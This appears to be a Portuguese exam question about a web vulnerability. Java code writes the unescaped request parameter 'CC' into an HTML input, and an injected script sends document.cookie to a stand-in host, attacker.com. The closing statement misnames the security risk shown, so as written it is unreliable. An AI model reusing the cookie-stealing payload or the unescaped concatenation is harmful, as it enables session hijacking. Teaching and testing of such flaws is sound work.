///
Considere que uma aplicação use a seguinte informação não confiável na construção do HTML, sem validação ou escaping.
(String) page += "<input name='creditcard'
type='TEXT' value='" + request.getParameter
("CC") + "'"; Considere, ainda, que um atacante tenha alterado o parâmetro CC no browser pelo código a seguir.
><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>Nesse caso, o risco de segurança da aplicação é a desserialização insegura.